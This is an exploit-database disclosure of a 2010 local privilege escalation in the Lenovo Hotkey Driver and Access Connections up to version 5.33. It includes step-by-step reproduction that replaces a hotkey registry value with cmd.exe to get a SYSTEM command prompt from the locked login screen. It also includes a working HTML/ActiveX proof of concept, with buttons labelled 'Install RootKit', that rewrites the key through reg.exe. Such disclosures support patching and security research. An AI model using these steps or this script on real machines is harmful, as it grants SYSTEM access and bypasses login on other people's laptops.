Lenovo Hotkey Driver 5.33 - Local Privilege Escalation

EDB-ID:

11663

CVE:

N/A


Platform:

Windows

Published:

2010-03-09

Author: Chilik Tamir - Amdocs Power Security Testing Group
Website: http://invalid-packet.blogspot.com/2010/03/full-disclosure-security-vulnerability.html
Subject: Security vulnerability <Privilege escalation> in Lenovo Hotkey Driver and Access Connections version <=v5.33
Impact:
A privilege escalation attack can be used as a backdoor to bypass login and run arbitrary code as a System user on Lenovo or Thinkpad laptops running Access Connection v5.33 and earlier versions (tracked back to version 4)


Technical details: 
&#65533;	The Hotkey Driver is an Lenovo application that monitors the Lenovo special Hotkeys (Fn keys) and execute Lenovo specified applications upon their invocation.
&#65533;	The default installation of the Hotkey Driver is as a service and runs under NT Authority\System privileges. 
&#65533;	Upon hot key detection, the Hotkey driver checks the registry key for the specified file to lunch and evokes that file, as example When the Fn + F5 key combination is pressed the Hotkey driver checks the registry key named File at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 for its value and then launches the specified application (by default, Tp/AcFnF5.exe). 
&#65533;	The Hotkey driver is available even prior to Windows login due to its installation configuration. 
&#65533;	The value of the registry key to be lunched is not verified at invocation time. 
&#65533;	This key is not monitored by the operating system and any change to this key is undetected. 
&#65533;	An attacker with restricted access to the registry can use this information to launch a targeted attack on Lenovo or Thinkpad users that changes this key into an arbitrary application that runs with System permission. 
Reproduce: 
 
Using the target laptop change the File registry key value at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 from 'Tp/AcFnF5.exe' to 'cmd.exe'. 
Lock the station ('Windows' + 'L'). 
Press 'Fn'+'F5' and a windows command prompt opens with System privilege. 
 
Mitigation:
Please update Hotkey Driver and Access connection to the most updated version (link here) at Lenovo website
 
Exploit example: 
This html exploit code uses ActiveX to hijack the Access connection hot key. (Please run on a Virtualized environment). 
-----------code starts here----------
<head>
<script language="javaScript" type="text/javascript">
myobject = new ActiveXObject("WScript.Shell")
function install()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
tag="\\"
var value="File";
var data="cmd.exe";
myobject.run("reg.exe"+" copy "+uri+" "+uri+"\\backup "+" /f ");
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
value="Parameters";
data="/T:74";
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
}
function remove()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
myobject.run("reg.exe"+" copy "+uri+"\\backup "+uri+" /f ");


}
</script>

</head><body>
<h1>Lenovo Access Connection Exploite POC<h1>
<button onclick="install()">Install RootKit</button><P><button onclick="remove()">Remove RootKit</button>
</body></html>
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